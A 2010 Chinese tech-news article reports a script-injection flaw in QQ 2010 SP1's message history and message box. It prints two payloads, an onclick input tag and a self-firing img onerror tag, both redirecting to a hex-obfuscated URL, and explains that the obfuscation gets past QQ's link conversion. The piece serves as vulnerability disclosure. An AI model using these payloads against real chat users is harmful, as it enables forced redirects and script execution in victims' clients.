pc软件 文章资讯 手机软件

您当前的位置→图文中心新闻资讯业界快讯QQ腾讯2010SP1发布查看记录即现严重漏洞
阅读排行

QQ腾讯2010SP1发布查看记录即现严重漏洞


2010/7/29  编辑:admin 来源:本站整理

腾讯QQ一向是腾讯主打的产品, 意想不到前天发布的QQ2010SP1竟然有如此大漏洞。

首先囧一下:脚本出错还会提示错误

QQ腾讯2010SP1发布查看记录即现严重漏洞image

1、消息记录的Javascript、Html标签没有屏蔽

QQ腾讯2010SP1发布查看记录即现严重漏洞image

2、消息盒子Javascript、Html标签没有屏蔽

QQ腾讯2010SP1发布查看记录即现严重漏洞image

3、www.arpun.com 小实验

1、发送代码:

以下为引用的内容:

<input onclick="window.location=’x68x74x74x70x3ax2fx2fx77x77x77x2ex62x6fx77x6fx73x2ex63x6fx6d’" />

因为腾讯会自动将url转换, 我们必须混淆url才能发送

QQ腾讯2010SP1发布查看记录即现严重漏洞image

QQ腾讯2010SP1发布查看记录即现严重漏洞image

QQ腾讯2010SP1发布查看记录即现严重漏洞image

4、超牛代码

以下为引用的内容:

<img src=’tetet’ onerror="window.location=’x68x74x74x70x3ax2fx2fx77x77x77x2ex62x6fx77x6fx73x2ex63x6fx6d’"/>

因为要点击才能触发, 想到一个不用点击就能触发的代码。

5、希望腾讯快点修复, 这个漏洞非同小可

6、本漏洞由TGL发现。

QQ腾讯2010SP1发布查看记录即现严重漏洞 

 

注意, 本代码仅供研究之用, 请勿用于不当用途。

如打算规避漏洞带来的风险, 请下载SP0版本, 看来SP1版本的changelog得修改为“更新了一些漏洞”。

相关文章

如何禁止QQ空间视频自动播放?:如何禁止QQ空间视频自动播放?方法一1、打开手机QQ,进入“联系人”主界面,点击屏幕右下方的“动态”,再点击“好友动态”,然后点击“我的头像”,...。

二维码QQ怎么查找摩拜单车?:QQ怎么查找摩拜单车?从现在起,QQ用户可以通过以下两种方式快捷使用摩拜单车。

快速还原QQ空间已删照片的图文教学,误删了的照片怎么恢复呢?:很多小伙伴会把值得纪念的照片上传到QQ空间进行分享,但有时候会不小心误删了QQ空间的照片,那这些删除的照片还能找回吗?误删了的照片怎么恢复呢?针对这些问题呢,下面小编就给大家详细说说。

发表评论
网站帮助 - 广告合作 - 下载声明 - 网站地图